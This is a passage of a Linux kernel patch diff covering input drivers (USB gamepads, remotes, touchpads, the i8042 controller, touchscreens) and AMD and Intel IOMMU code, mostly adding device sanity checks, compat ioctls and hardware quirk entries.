(intf->cur_altsetting->desc.bNumEndpoints != 2) + return -ENODEV; + for (i = 0; xpad_device[i].idVendor; i++) { if ((le16_to_cpu(udev->descriptor.idVendor) == xpad_device[i].idVendor) && (le16_to_cpu(udev->descriptor.idProduct) == xpad_device[i].idProduct)) @@ -1002,9 +1005,19 @@ static int xpad_probe(struct usb_interface *intf, const struct usb_device_id *id } ep_irq_in = &intf->cur_altsetting->endpoint[1].desc; - usb_fill_bulk_urb(xpad->bulk_out, udev, - usb_sndbulkpipe(udev, ep_irq_in->bEndpointAddress), - xpad->bdata, XPAD_PKT_LEN, xpad_bulk_out, xpad); + if (usb_endpoint_is_bulk_out(ep_irq_in)) { + usb_fill_bulk_urb(xpad->bulk_out, udev, + usb_sndbulkpipe(udev, + ep_irq_in->bEndpointAddress), + xpad->bdata, XPAD_PKT_LEN, + xpad_bulk_out, xpad); + } else { + usb_fill_int_urb(xpad->bulk_out, udev, + usb_sndintpipe(udev, + ep_irq_in->bEndpointAddress), + xpad->bdata, XPAD_PKT_LEN, + xpad_bulk_out, xpad, 0); + } /* * Submit the int URB immediately rather than waiting for open diff --git a/drivers/input/keyboard/atkbd.c b/drivers/input/keyboard/atkbd.c index 2dd1d0dd4f7de..6f5d79569136f 100644 --- a/drivers/input/keyboard/atkbd.c +++ b/drivers/input/keyboard/atkbd.c @@ -1791,14 +1791,6 @@ static const struct dmi_system_id atkbd_dmi_quirk_table[] __initconst = { { .matches = { DMI_MATCH(DMI_SYS_VENDOR, "LG Electronics"), - DMI_MATCH(DMI_PRODUCT_NAME, "LW25-B7HV"), - }, - .callback = atkbd_deactivate_fixup, - }, - { - .matches = { - DMI_MATCH(DMI_SYS_VENDOR, "LG Electronics"), - DMI_MATCH(DMI_PRODUCT_NAME, "P1-J273B"), }, .callback = atkbd_deactivate_fixup, }, diff --git a/drivers/input/misc/ati_remote2.c b/drivers/input/misc/ati_remote2.c index f63341f20b91a..e8c6a4842e91c 100644 --- a/drivers/input/misc/ati_remote2.c +++ b/drivers/input/misc/ati_remote2.c @@ -817,26 +817,49 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d ar2->udev = udev; + /* Sanity check, first interface must have an endpoint */ + if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { + dev_err(&interface->dev, + "%s(): interface 0 must have an endpoint\n", __func__); + r = -ENODEV; + goto fail1; + } ar2->intf[0] = interface; ar2->ep[0] = &alt->endpoint[0].desc; + /* Sanity check, the device must have two interfaces */ ar2->intf[1] = usb_ifnum_to_if(udev, 1); + if ((udev->actconfig->desc.bNumInterfaces < 2) || !ar2->intf[1]) { + dev_err(&interface->dev, "%s(): need 2 interfaces, found %d\n", + __func__, udev->actconfig->desc.bNumInterfaces); + r = -ENODEV; + goto fail1; + } + r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2); if (r) goto fail1; + + /* Sanity check, second interface must have an endpoint */ alt = ar2->intf[1]->cur_altsetting; + if (alt->desc.bNumEndpoints < 1 || !alt->endpoint) { + dev_err(&interface->dev, + "%s(): interface 1 must have an endpoint\n", __func__); + r = -ENODEV; + goto fail2; + } ar2->ep[1] = &alt->endpoint[0].desc; r = ati_remote2_urb_init(ar2); if (r) - goto fail2; + goto fail3; ar2->channel_mask = channel_mask; ar2->mode_mask = mode_mask; r = ati_remote2_setup(ar2, ar2->channel_mask); if (r) - goto fail2; + goto fail3; usb_make_path(udev, ar2->phys, sizeof(ar2->phys)); strlcat(ar2->phys, "/input0", sizeof(ar2->phys)); @@ -845,11 +868,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d r = sysfs_create_group(&udev->dev.kobj, &ati_remote2_attr_group); if (r) - goto fail2; + goto fail3; r = ati_remote2_input_init(ar2); if (r) - goto fail3; + goto fail4; usb_set_intfdata(interface, ar2); @@ -857,10 +880,11 @@ static int ati_remote2_probe(struct usb_interface *interface, const struct usb_d return 0; - fail3: + fail4: sysfs_remove_group(&udev->dev.kobj, &ati_remote2_attr_group); - fail2: + fail3: ati_remote2_urb_cleanup(ar2); + fail2: usb_driver_release_interface(&ati_remote2_driver, ar2->intf[1]); fail1: kfree(ar2); diff --git a/drivers/input/misc/ims-pcu.c b/drivers/input/misc/ims-pcu.c index e204f26b0011a..77164dc1bedd1 100644 --- a/drivers/input/misc/ims-pcu.c +++ b/drivers/input/misc/ims-pcu.c @@ -1433,6 +1433,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc pcu->ctrl_intf = usb_ifnum_to_if(pcu->udev, union_desc->bMasterInterface0); + if (!pcu->ctrl_intf) + return -EINVAL; alt = pcu->ctrl_intf->cur_altsetting; pcu->ep_ctrl = &alt->endpoint[0].desc; @@ -1440,6 +1442,8 @@ static int ims_pcu_parse_cdc_data(struct usb_interface *intf, struct ims_pcu *pc pcu->data_intf = usb_ifnum_to_if(pcu->udev, union_desc->bSlaveInterface0); + if (!pcu->data_intf) + return -EINVAL; alt = pcu->data_intf->cur_altsetting; if (alt->desc.bNumEndpoints != 2) { diff --git a/drivers/input/misc/max8997_haptic.c b/drivers/input/misc/max8997_haptic.c index e973133212a51..a8c91226cd229 100644 --- a/drivers/input/misc/max8997_haptic.c +++ b/drivers/input/misc/max8997_haptic.c @@ -246,12 +246,14 @@ static int max8997_haptic_probe(struct platform_device *pdev) struct max8997_dev *iodev = dev_get_drvdata(pdev->dev.parent); const struct max8997_platform_data *pdata = dev_get_platdata(iodev->dev); - const struct max8997_haptic_platform_data *haptic_pdata = - pdata->haptic_pdata; + const struct max8997_haptic_platform_data *haptic_pdata = NULL; struct max8997_haptic *chip; struct input_dev *input_dev; int error; + if (pdata) + haptic_pdata = pdata->haptic_pdata; + if (!haptic_pdata) { dev_err(&pdev->dev, "no haptic platform data\n"); return -EINVAL; diff --git a/drivers/input/misc/powermate.c b/drivers/input/misc/powermate.c index 49c0c3ebd3214..21ce1cf757bb9 100644 --- a/drivers/input/misc/powermate.c +++ b/drivers/input/misc/powermate.c @@ -308,6 +308,9 @@ static int powermate_probe(struct usb_interface *intf, const struct usb_device_i int error = -ENOMEM; interface = intf->cur_altsetting; + if (interface->desc.bNumEndpoints < 1) + return -EINVAL; + endpoint = &interface->endpoint[0].desc; if (!usb_endpoint_is_int_in(endpoint)) return -EIO; diff --git a/drivers/input/misc/uinput.c b/drivers/input/misc/uinput.c index a0a4bbaef02c2..3f2f3ac96a55d 100644 --- a/drivers/input/misc/uinput.c +++ b/drivers/input/misc/uinput.c @@ -835,9 +835,15 @@ static long uinput_ioctl(struct file *file, unsigned int cmd, unsigned long arg) } #ifdef CONFIG_COMPAT + +#define UI_SET_PHYS_COMPAT _IOW(UINPUT_IOCTL_BASE, 108, compat_uptr_t) + static long uinput_compat_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { + if (cmd == UI_SET_PHYS_COMPAT) + cmd = UI_SET_PHYS; + return uinput_ioctl_handler(file, cmd, arg, compat_ptr(arg)); } #endif diff --git a/drivers/input/mouse/alps.c b/drivers/input/mouse/alps.c index 7c5d72a6a26a3..19e070f16e6be 100644 --- a/drivers/input/mouse/alps.c +++ b/drivers/input/mouse/alps.c @@ -873,7 +873,13 @@ static psmouse_ret_t alps_process_byte(struct psmouse *psmouse) { struct alps_data *priv = psmouse->private; - if ((psmouse->packet[0] & 0xc8) == 0x08) { /* PS/2 packet */ + /* + * Check if we are dealing with a bare PS/2 packet, presumably from + * a device connected to the external PS/2 port. Because bare PS/2 + * protocol does not have enough constant bits to self-synchronize + * properly we only do this if the device is fully synchronized. + */ + if (!psmouse->out_of_sync_cnt && (psmouse->packet[0] & 0xc8) == 0x08) { if (psmouse->pktcnt == 3) { alps_report_bare_ps2_packet(psmouse, psmouse->packet, true); @@ -1816,6 +1822,9 @@ int alps_init(struct psmouse *psmouse) /* We are having trouble resyncing ALPS touchpads so disable it for now */ psmouse->resync_time = 0; + /* Allow 2 invalid packets without resetting device */ + psmouse->resetafter = psmouse->pktsize * 2; + return 0; init_fail: diff --git a/drivers/input/mouse/elantech.c b/drivers/input/mouse/elantech.c index 1913301df08f0..77f06d001a661 100644 --- a/drivers/input/mouse/elantech.c +++ b/drivers/input/mouse/elantech.c @@ -314,7 +314,7 @@ static void elantech_report_semi_mt_data(struct input_dev *dev, unsigned int x2, unsigned int y2) { elantech_set_slot(dev, 0, num_fingers != 0, x1, y1); - elantech_set_slot(dev, 1, num_fingers == 2, x2, y2); + elantech_set_slot(dev, 1, num_fingers >= 2, x2, y2); } /* @@ -783,6 +783,21 @@ static psmouse_ret_t elantech_process_byte(struct psmouse *psmouse) return PSMOUSE_FULL_PACKET; } +/* + * This writes the reg_07 value again to the hardware at the end of every + * set_rate call because the register loses its value. reg_07 allows setting + * absolute mode on v4 hardware + */ +static void elantech_set_rate_restore_reg_07(struct psmouse *psmouse, + unsigned int rate) +{ + struct elantech_data *etd = psmouse->private; + + etd->original_set_rate(psmouse, rate); + if (elantech_write_reg(psmouse, 0x07, etd->reg_07)) + psmouse_err(psmouse, "restoring reg_07 failed\n"); +} + /* * Put the touchpad into absolute mode */ @@ -985,6 +1000,8 @@ static int elantech_get_resolution_v4(struct psmouse *psmouse, * Asus K53SV 0x450f01 78, 15, 0c 2 hw buttons * Asus G46VW 0x460f02 00, 18, 0c 2 hw buttons * Asus G750JX 0x360f00 00, 16, 0c 2 hw buttons + * Asus TP500LN 0x381f17 10, 14, 0e clickpad + * Asus X750JN 0x381f17 10, 14, 0e clickpad * Asus UX31 0x361f00 20, 15, 0e clickpad * Asus UX32VD 0x361f02 00, 15, 0e clickpad * Avatar AVIU-145A2 0x361f00 ? clickpad @@ -1064,7 +1081,7 @@ static int elantech_set_input_params(struct psmouse *psmouse) input_set_abs_params(dev, ABS_TOOL_WIDTH, ETP_WMIN_V2, ETP_WMAX_V2, 0, 0); } - input_mt_init_slots(dev, 2, 0); + input_mt_init_slots(dev, 2, INPUT_MT_SEMI_MT); input_set_abs_params(dev, ABS_MT_POSITION_X, x_min, x_max, 0, 0); input_set_abs_params(dev, ABS_MT_POSITION_Y, y_min, y_max, 0, 0); break; @@ -1223,6 +1240,14 @@ static bool elantech_is_signature_valid(const unsigned char *param) if (param[1] == 0) return true; + /* + * Some hw_version >= 4 models have a revision higher then 20. Meaning + * that param[2] may be 10 or 20, skip the rates check for these. + */ + if ((param[0] & 0x0f) >= 0x06 && (param[1] & 0xaf) == 0x0f && + param[2] < 40) + return true; + for (i = 0; i < ARRAY_SIZE(rates); i++) if (param[2] == rates[i]) return false; @@ -1332,6 +1357,13 @@ static const struct dmi_system_id no_hw_res_dmi_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "U2442"), }, }, + { + /* Fujitsu LIFEBOOK U745 does not work with crc_enabled == 0 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "FUJITSU"), + DMI_MATCH(DMI_PRODUCT_NAME, "LIFEBOOK U745"), + }, + }, #endif { } }; @@ -1445,6 +1477,11 @@ int elantech_init(struct psmouse *psmouse) goto init_fail; } + if (etd->fw_version == 0x381f17) { + etd->original_set_rate = psmouse->set_rate; + psmouse->set_rate = elantech_set_rate_restore_reg_07; + } + if (elantech_set_input_params(psmouse)) { psmouse_err(psmouse, "failed to query touchpad range.\n"); goto init_fail; diff --git a/drivers/input/mouse/elantech.h b/drivers/input/mouse/elantech.h index c1c15ab6872d7..13a12ccbff51e 100644 --- a/drivers/input/mouse/elantech.h +++ b/drivers/input/mouse/elantech.h @@ -138,6 +138,7 @@ struct elantech_data { struct finger_pos mt[ETP_MAX_FINGERS]; unsigned char parity[256]; int (*send_cmd)(struct psmouse *psmouse, unsigned char c, unsigned char *param); + void (*original_set_rate)(struct psmouse *psmouse, unsigned int rate); }; #ifdef CONFIG_MOUSE_PS2_ELANTECH diff --git a/drivers/input/mouse/synaptics.c b/drivers/input/mouse/synaptics.c index f36f7b88f2603..d1c47d135c071 100644 --- a/drivers/input/mouse/synaptics.c +++ b/drivers/input/mouse/synaptics.c @@ -549,10 +549,61 @@ static int synaptics_parse_hw_state(const unsigned char buf[], ((buf[0] & 0x04) >> 1) | ((buf[3] & 0x04) >> 2)); + if ((SYN_CAP_ADV_GESTURE(priv->ext_cap_0c) || + SYN_CAP_IMAGE_SENSOR(priv->ext_cap_0c)) && + hw->w == 2) { + synaptics_parse_agm(buf, priv, hw); + return 1; + } + + hw->x = (((buf[3] & 0x10) << 8) | + ((buf[1] & 0x0f) << 8) | + buf[4]); + hw->y = (((buf[3] & 0x20) << 7) | + ((buf[1] & 0xf0) << 4) | + buf[5]); + hw->z = buf[2]; + hw->left = (buf[0] & 0x01) ? 1 : 0; hw->right = (buf[0] & 0x02) ? 1 : 0; - if (SYN_CAP_CLICKPAD(priv->ext_cap_0c)) { + if (SYN_CAP_FORCEPAD(priv->ext_cap_0c)) { + /* + * ForcePads, like Clickpads, use middle button + * bits to report primary button clicks. + * Unfortunately they report primary button not + * only when user presses on the pad above certain + * threshold, but also when there are more than one + * finger on the touchpad, which interferes with + * out multi-finger gestures. + */ + if (hw->z == 0) { + /* No contacts */ + priv->press = priv->report_press = false; + } else if (hw->w >= 4 && ((buf[0] ^ buf[3]) & 0x01)) { + /* + * Single-finger touch with pressure above + * the threshold. If pressure stays long + * enough, we'll start reporting primary + * button. We rely on the device continuing + * sending data even if finger does not + * move. + */ + if (!priv->press) { + priv->press_start = jiffies; + priv->press = true; + } else if (time_after(jiffies, + priv->press_start + + msecs_to_jiffies(50))) { + priv->report_press = true; + } + } else { + priv->press = false; + } + + hw->left = priv->report_press; + + } else if (SYN_CAP_CLICKPAD(priv->ext_cap_0c)) { /* * Clickpad's button is transmitted as middle button, * however, since it is primary button, we will report @@ -571,21 +622,6 @@ static int synaptics_parse_hw_state(const unsigned char buf[], hw->down = ((buf[0] ^ buf[3]) & 0x02) ? 1 : 0; } - if ((SYN_CAP_ADV_GESTURE(priv->ext_cap_0c) || - SYN_CAP_IMAGE_SENSOR(priv->ext_cap_0c)) && - hw->w == 2) { - synaptics_parse_agm(buf, priv, hw); - return 1; - } - - hw->x = (((buf[3] & 0x10) << 8) | - ((buf[1] & 0x0f) << 8) | - buf[4]); - hw->y = (((buf[3] & 0x20) << 7) | - ((buf[1] & 0xf0) << 4) | - buf[5]); - hw->z = buf[2]; - if (SYN_CAP_MULTI_BUTTON_NO(priv->ext_cap) && ((buf[0] ^ buf[3]) & 0x02)) { switch (SYN_CAP_MULTI_BUTTON_NO(priv->ext_cap) & ~0x01) { diff --git a/drivers/input/mouse/synaptics.h b/drivers/input/mouse/synaptics.h index e594af0b264b7..fb2e076738ae3 100644 --- a/drivers/input/mouse/synaptics.h +++ b/drivers/input/mouse/synaptics.h @@ -78,6 +78,11 @@ * 2 0x08 image sensor image sensor tracks 5 fingers, but only * reports 2. * 2 0x20 report min query 0x0f gives min coord reported + * 2 0x80 forcepad forcepad is a variant of clickpad that + * does not have physical buttons but rather + * uses pressure above certain threshold to + * report primary clicks. Forcepads also have + * clickpad bit set. */ #define SYN_CAP_CLICKPAD(ex0c) ((ex0c) & 0x100000) /* 1-button ClickPad */ #define SYN_CAP_CLICKPAD2BTN(ex0c) ((ex0c) & 0x000100) /* 2-button ClickPad */ @@ -86,6 +91,7 @@ #define SYN_CAP_ADV_GESTURE(ex0c) ((ex0c) & 0x080000) #define SYN_CAP_REDUCED_FILTERING(ex0c) ((ex0c) & 0x000400) #define SYN_CAP_IMAGE_SENSOR(ex0c) ((ex0c) & 0x000800) +#define SYN_CAP_FORCEPAD(ex0c) ((ex0c) & 0x008000) /* synaptics modes query bits */ #define SYN_MODE_ABSOLUTE(m) ((m) & (1 << 7)) @@ -177,6 +183,11 @@ struct synaptics_data { */ struct synaptics_hw_state agm; bool agm_pending; /* new AGM packet received */ + + /* ForcePad handling */ + unsigned long press_start; + bool press; + bool report_press; }; void synaptics_module_init(void); diff --git a/drivers/input/serio/i8042-x86ia64io.h b/drivers/input/serio/i8042-x86ia64io.h index 0ec9abbe31fec..5102b4f68f182 100644 --- a/drivers/input/serio/i8042-x86ia64io.h +++ b/drivers/input/serio/i8042-x86ia64io.h @@ -99,6 +99,12 @@ static const struct dmi_system_id __initconst i8042_dmi_noloop_table[] = { DMI_MATCH(DMI_BOARD_VERSION, "REV 2.X"), }, }, + { + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "ASUSTeK COMPUTER INC."), + DMI_MATCH(DMI_PRODUCT_NAME, "X750LN"), + }, + }, { .matches = { DMI_MATCH(DMI_SYS_VENDOR, "Compaq"), @@ -145,6 +151,14 @@ static const struct dmi_system_id __initconst i8042_dmi_noloop_table[] = { DMI_MATCH(DMI_PRODUCT_VERSION, "5a"), }, }, + { + /* Medion Akoya E7225 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Medion"), + DMI_MATCH(DMI_PRODUCT_NAME, "Akoya E7225"), + DMI_MATCH(DMI_PRODUCT_VERSION, "1.0"), + }, + }, { /* Blue FB5601 */ .matches = { @@ -243,6 +257,13 @@ static const struct dmi_system_id __initconst i8042_dmi_nomux_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "LifeBook S6230"), }, }, + { + /* Fujitsu Lifebook U745 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "FUJITSU"), + DMI_MATCH(DMI_PRODUCT_NAME, "LIFEBOOK U745"), + }, + }, { /* Fujitsu T70H */ .matches = { @@ -401,6 +422,13 @@ static const struct dmi_system_id __initconst i8042_dmi_nomux_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "Aspire 1360"), }, }, + { + /* Acer Aspire 7738 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Acer"), + DMI_MATCH(DMI_PRODUCT_NAME, "Aspire 7738"), + }, + }, { /* Gericom Bellagio */ .matches = { @@ -458,6 +486,13 @@ static const struct dmi_system_id __initconst i8042_dmi_nomux_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "HP Pavilion dv4 Notebook PC"), }, }, + { + /* Avatar AVIU-145A6 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Intel"), + DMI_MATCH(DMI_PRODUCT_NAME, "IC4I"), + }, + }, { } }; @@ -601,6 +636,30 @@ static const struct dmi_system_id __initconst i8042_dmi_notimeout_table[] = { DMI_MATCH(DMI_PRODUCT_NAME, "HP Pavilion dv4 Notebook PC"), }, }, + { + /* Fujitsu A544 laptop */ + /* https://bugzilla.redhat.com/show_bug.cgi?id=1111138 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "FUJITSU"), + DMI_MATCH(DMI_PRODUCT_NAME, "LIFEBOOK A544"), + }, + }, + { + /* Fujitsu AH544 laptop */ + /* https://bugzilla.kernel.org/show_bug.cgi?id=69731 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "FUJITSU"), + DMI_MATCH(DMI_PRODUCT_NAME, "LIFEBOOK AH544"), + }, + }, + { + /* Fujitsu U574 laptop */ + /* https://bugzilla.kernel.org/show_bug.cgi?id=69731 */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "FUJITSU"), + DMI_MATCH(DMI_PRODUCT_NAME, "LIFEBOOK U574"), + }, + }, { } }; @@ -684,6 +743,35 @@ static const struct dmi_system_id __initconst i8042_dmi_dritek_table[] = { { } }; +/* + * Some laptops need keyboard reset before probing for the trackpad to get + * it detected, initialised & finally work. + */ +static const struct dmi_system_id __initconst i8042_dmi_kbdreset_table[] = { + { + /* Gigabyte P35 v2 - Elantech touchpad */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "GIGABYTE"), + DMI_MATCH(DMI_PRODUCT_NAME, "P35V2"), + }, + }, + { + /* Aorus branded Gigabyte X3 Plus - Elantech touchpad */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "GIGABYTE"), + DMI_MATCH(DMI_PRODUCT_NAME, "X3"), + }, + }, + { + /* Gigabyte P34 - Elantech touchpad */ + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "GIGABYTE"), + DMI_MATCH(DMI_PRODUCT_NAME, "P34"), + }, + }, + { } +}; + #endif /* CONFIG_X86 */ #ifdef CONFIG_PNP @@ -964,6 +1052,9 @@ static int __init i8042_platform_init(void) if (dmi_check_system(i8042_dmi_dritek_table)) i8042_dritek = true; + if (dmi_check_system(i8042_dmi_kbdreset_table)) + i8042_kbdreset = true; + /* * A20 was already enabled during early kernel init. But some buggy * BIOSes (in MSI Laptops) require A20 to be enabled using 8042 to diff --git a/drivers/input/serio/i8042.c b/drivers/input/serio/i8042.c index 78e4de42efaac..9870c540e6fb1 100644 --- a/drivers/input/serio/i8042.c +++ b/drivers/input/serio/i8042.c @@ -67,6 +67,10 @@ static bool i8042_notimeout; module_param_named(notimeout, i8042_notimeout, bool, 0); MODULE_PARM_DESC(notimeout, "Ignore timeouts signalled by i8042"); +static bool i8042_kbdreset; +module_param_named(kbdreset, i8042_kbdreset, bool, 0); +MODULE_PARM_DESC(kbdreset, "Reset device connected to KBD port"); + #ifdef CONFIG_X86 static bool i8042_dritek; module_param_named(dritek, i8042_dritek, bool, 0); @@ -782,6 +786,16 @@ static int __init i8042_check_aux(void) if (i8042_toggle_aux(true)) return -1; +/* + * Reset keyboard (needed on some laptops to successfully detect + * touchpad, e.g., some Gigabyte laptop models with Elantech + * touchpads). + */ + if (i8042_kbdreset) { + pr_warn("Attempting to reset device connected to KBD port\n"); + i8042_kbd_write(NULL, (unsigned char) 0xff); + } + /* * Test AUX IRQ delivery to make sure BIOS did not grab the IRQ and * used it for a PCI card or somethig else. diff --git a/drivers/input/serio/serport.c b/drivers/input/serio/serport.c index 8755f5f3ad37c..e4ecf3b647943 100644 --- a/drivers/input/serio/serport.c +++ b/drivers/input/serio/serport.c @@ -21,6 +21,7 @@ #include #include #include +#include MODULE_AUTHOR("Vojtech Pavlik "); MODULE_DESCRIPTION("Input device TTY line discipline"); @@ -196,28 +197,55 @@ static ssize_t serport_ldisc_read(struct tty_struct * tty, struct file * file, u return 0; } +static void serport_set_type(struct tty_struct *tty, unsigned long type) +{ + struct serport *serport = tty->disc_data; + + serport->id.proto = type & 0x000000ff; + serport->id.id = (type & 0x0000ff00) >> 8; + serport->id.extra = (type & 0x00ff0000) >> 16; +} + /* * serport_ldisc_ioctl() allows to set the port protocol, and device ID */ -static int serport_ldisc_ioctl(struct tty_struct * tty, struct file * file, unsigned int cmd, unsigned long arg) +static int serport_ldisc_ioctl(struct tty_struct *tty, struct file *file, + unsigned int cmd, unsigned long arg) { - struct serport *serport = (struct serport*) tty->disc_data; - unsigned long type; - if (cmd == SPIOCSTYPE) { + unsigned long type; + if (get_user(type, (unsigned long __user *) arg)) return -EFAULT; - serport->id.proto = type & 0x000000ff; - serport->id.id = (type & 0x0000ff00) >> 8; - serport->id.extra = (type & 0x00ff0000) >> 16; + serport_set_type(tty, type); + return 0; + } + + return -EINVAL; +} + +#ifdef CONFIG_COMPAT +#define COMPAT_SPIOCSTYPE _IOW('q', 0x01, compat_ulong_t) +static long serport_ldisc_compat_ioctl(struct tty_struct *tty, + struct file *file, + unsigned int cmd, unsigned long arg) +{ + if (cmd == COMPAT_SPIOCSTYPE) { + void __user *uarg = compat_ptr(arg); + compat_ulong_t compat_type; + + if (get_user(compat_type, (compat_ulong_t __user *)uarg)) + return -EFAULT; + serport_set_type(tty, compat_type); return 0; } return -EINVAL; } +#endif static void serport_ldisc_write_wakeup(struct tty_struct * tty) { @@ -241,6 +269,9 @@ static struct tty_ldisc_ops serport_ldisc = { .close = serport_ldisc_close, .read = serport_ldisc_read, .ioctl = serport_ldisc_ioctl, +#ifdef CONFIG_COMPAT + .compat_ioctl = serport_ldisc_compat_ioctl, +#endif .receive_buf = serport_ldisc_receive, .write_wakeup = serport_ldisc_write_wakeup }; diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c index 29e01ab6859f2..a9f8f925ba2b2 100644 --- a/drivers/input/tablet/gtco.c +++ b/drivers/input/tablet/gtco.c @@ -869,6 +869,14 @@ static int gtco_probe(struct usb_interface *usbinterface, goto err_free_buf; } + /* Sanity check that a device has an endpoint */ + if (usbinterface->altsetting[0].desc.bNumEndpoints < 1) { + dev_err(&usbinterface->dev, + "Invalid number of endpoints\n"); + error = -EINVAL; + goto err_free_urb; + } + /* * The endpoint is always altsetting 0, we know this since we know * this device only has one interrupt endpoint @@ -890,7 +898,7 @@ static int gtco_probe(struct usb_interface *usbinterface, * HID report descriptor */ if (usb_get_extra_descriptor(usbinterface->cur_altsetting, - HID_DEVICE_TYPE, &hid_desc) != 0){ + HID_DEVICE_TYPE, &hid_desc) != 0) { dev_err(&usbinterface->dev, "Can't retrieve exta USB descriptor to get hid report descriptor length\n"); error = -EIO; diff --git a/drivers/input/touchscreen/ads7846.c b/drivers/input/touchscreen/ads7846.c index 84ccf140c1bb5..9332e46b53ed3 100644 --- a/drivers/input/touchscreen/ads7846.c +++ b/drivers/input/touchscreen/ads7846.c @@ -697,18 +697,22 @@ static int ads7846_no_filter(void *ads, int data_idx, int *val) static int ads7846_get_value(struct ads7846 *ts, struct spi_message *m) { + int value; struct spi_transfer *t = list_entry(m->transfers.prev, struct spi_transfer, transfer_list); if (ts->model == 7845) { - return be16_to_cpup((__be16 *)&(((char*)t->rx_buf)[1])) >> 3; + value = be16_to_cpup((__be16 *)&(((char *)t->rx_buf)[1])); } else { /* * adjust: on-wire is a must-ignore bit, a BE12 value, then * padding; built from two 8 bit values written msb-first. */ - return be16_to_cpup((__be16 *)t->rx_buf) >> 3; + value = be16_to_cpup((__be16 *)t->rx_buf); } + + /* enforce ADC output is 12 bits width */ + return (value >> 3) & 0xfff; } static void ads7846_update_value(struct spi_message *m, int val) diff --git a/drivers/input/touchscreen/usbtouchscreen.c b/drivers/input/touchscreen/usbtouchscreen.c index 5f87bed054674..20aef5d5a2421 100644 --- a/drivers/input/touchscreen/usbtouchscreen.c +++ b/drivers/input/touchscreen/usbtouchscreen.c @@ -626,6 +626,9 @@ static int dmc_tsc10_init(struct usbtouch_usb *usbtouch) goto err_out; } + /* TSC-25 data sheet specifies a delay after the RESET command */ + msleep(150); + /* set coordinate output rate */ buf[0] = buf[1] = 0xFF; ret = usb_control_msg(dev, usb_rcvctrlpipe (dev, 0), diff --git a/drivers/input/touchscreen/wacom_w8001.c b/drivers/input/touchscreen/wacom_w8001.c index 9a83be6b6584f..abba11220f290 100644 --- a/drivers/input/touchscreen/wacom_w8001.c +++ b/drivers/input/touchscreen/wacom_w8001.c @@ -28,7 +28,7 @@ MODULE_AUTHOR("Jaya Kumar "); MODULE_DESCRIPTION(DRIVER_DESC); MODULE_LICENSE("GPL"); -#define W8001_MAX_LENGTH 11 +#define W8001_MAX_LENGTH 13 #define W8001_LEAD_MASK 0x80 #define W8001_LEAD_BYTE 0x80 #define W8001_TAB_MASK 0x40 diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c index 6f849cbcac6f0..6bde2a124c724 100644 --- a/drivers/iommu/amd_iommu.c +++ b/drivers/iommu/amd_iommu.c @@ -2106,8 +2106,8 @@ static void set_dte_entry(u16 devid, struct protection_domain *domain, bool ats) static void clear_dte_entry(u16 devid) { /* remove entry from the device table seen by the hardware */ - amd_iommu_dev_table[devid].data[0] = IOMMU_PTE_P | IOMMU_PTE_TV; - amd_iommu_dev_table[devid].data[1] = 0; + amd_iommu_dev_table[devid].data[0] = IOMMU_PTE_P | IOMMU_PTE_TV; + amd_iommu_dev_table[devid].data[1] &= DTE_FLAG_MASK; amd_iommu_apply_erratum_63(devid); } @@ -3187,14 +3187,16 @@ int __init amd_iommu_init_dma_ops(void) static void cleanup_domain(struct protection_domain *domain) { - struct iommu_dev_data *dev_data, *next; + struct iommu_dev_data *entry; unsigned long flags; write_lock_irqsave(&amd_iommu_devtable_lock, flags); - list_for_each_entry_safe(dev_data, next, &domain->dev_list, list) { - __detach_device(dev_data); - atomic_set(&dev_data->bind, 0); + while (!list_empty(&domain->dev_list)) { + entry = list_first_entry(&domain->dev_list, + struct iommu_dev_data, list); + __detach_device(entry); + atomic_set(&entry->bind, 0); } write_unlock_irqrestore(&amd_iommu_devtable_lock, flags); diff --git a/drivers/iommu/amd_iommu_types.h b/drivers/iommu/amd_iommu_types.h index 0285a215df162..7570f45fce8d5 100644 --- a/drivers/iommu/amd_iommu_types.h +++ b/drivers/iommu/amd_iommu_types.h @@ -282,6 +282,7 @@ #define IOMMU_PTE_IR (1ULL << 61) #define IOMMU_PTE_IW (1ULL << 62) +#define DTE_FLAG_MASK (0x3ffULL << 32) #define DTE_FLAG_IOTLB (0x01UL << 32) #define DTE_FLAG_GV (0x01ULL << 55) #define DTE_GLX_SHIFT (56) diff --git a/drivers/iommu/dmar.c b/drivers/iommu/dmar.c index a7967ceb79e6f..3d4622cae2cfd 100644 --- a/drivers/iommu/dmar.c +++ b/drivers/iommu/dmar.c @@ -968,7 +968,7 @@ void dmar_disable_qi(struct intel_iommu *iommu) raw_spin_lock_irqsave(&iommu->register_lock, flags); - sts = dmar_readq(iommu->reg + DMAR_GSTS_REG); + sts = readl(iommu->reg + DMAR_GSTS_REG); if (!(sts & DMA_GSTS_QIES)) goto end; diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c index 6771e3c948018..db4e10d4c7f54 100644 --- a/drivers/iommu/intel-iommu.c +++ b/drivers/iommu/intel-iommu.c @@ -1796,7 +1796,7 @@ static int __domain_mapping(struct dmar_domain *domain, unsigned long iov_pfn, struct dma_pte *first_pte = NULL, *pte = NULL; phys_addr_t uninitialized_var(pteval); int addr_width = agaw_to_width(domain->agaw) - VTD_PAGE_SHIFT; - unsigned long sg_res; + unsigned long sg_res = 0; unsigned int 